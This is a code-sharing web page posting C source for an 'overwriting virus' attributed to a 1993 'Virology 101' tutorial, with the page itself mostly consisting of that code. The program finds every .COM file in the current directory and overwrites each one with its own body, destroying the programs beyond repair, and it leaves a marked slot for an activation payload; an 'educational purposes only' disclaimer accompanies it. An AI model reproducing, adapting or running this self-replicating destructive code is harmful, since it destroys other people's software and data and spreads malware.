比这篇新的文章: The BAT&COM Virus in C
比这篇旧的文章: Python将内容中的Url地址转换成Tinyurl地址

Overwriting Virus

语言: C, 标签: 无  2008/08/06发布 5个月前更新
作者: crhrysc, 点击322次, 评论(0), 收藏者(0)

开关行号, 全选(Ctrl+C复制) | 一键复制:HTML, BBCode(Discuz!) , 源代码 | 查看:裸代码, 全屏
背景
主题: 字体:
C语言: Overwriting Virus
01 - - ------------------ Cut Here -------------------------- - -
02 /* This is a simple overwriting virus programmed in Turbo C */
03 /*  It will infect all .COM files in the current directory  */
04 /*    Infections destroy the programs and cannot be cured   */
05 /*   It was presented in Virology 101 (c) 1993 Black Wolf   */
06 /*     FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE!       */
07
08 #include <stdio.h>
09 #include <dos.h>
10 #include <dir.h>
11
12 FILE *Virus,*Host;
13 int x,y,done;
14 char buff[256];
15 struct ffblk ffblk;
16
17 main()
18 {
19 done = findfirst("*.COM",&ffblk,0);   /* Find a .COM file */
20    while (!done)               /* Loop for all COM's in DIR*/
21     {
22     printf("Infecting  %s\n", ffblk.ff_name);    /* Inform user */
23     Virus=fopen(_argv[0],"rb");          /* Open infected file  */
24     Host=fopen(ffblk.ff_name,"rb+");     /* Open new host file  */
25
26     x=9504;                               /* Virus size - must   */
27                                           /* be correct for the  */
28                                           /* compiler it is made */
29                                           /* on, otherwise the   */
30                                           /* entire virus may not*/
31                                           /* be copied!!         */
32     while (x>256)                         /* OVERWRITE new Host  */
33         {                                 /* Read/Write 256 byte */
34         fread(buff,256,1,Virus);          /* chunks until bytes  */
35         fwrite(buff,256,1,Host);          /* left < 256          */
36         x-=256;
37         }
38     fread(buff,x,1,Virus);                /* Finish off copy     */
39     fwrite(buff,x,1,Host);
40     fcloseall();                          /* Close both files and*/
41     done = findnext(&ffblk);              /* go for another one. */
42     }
43                                           /* Activation would go */
44                                           /* here                */
45   return (0);                             /* Terminate           */
46 }
47 - - ------------------ Cut Here --------------------------- - -
打分:

所有评论,共0条:( 我也来说两句)


发表评论

注册登录后再发表评论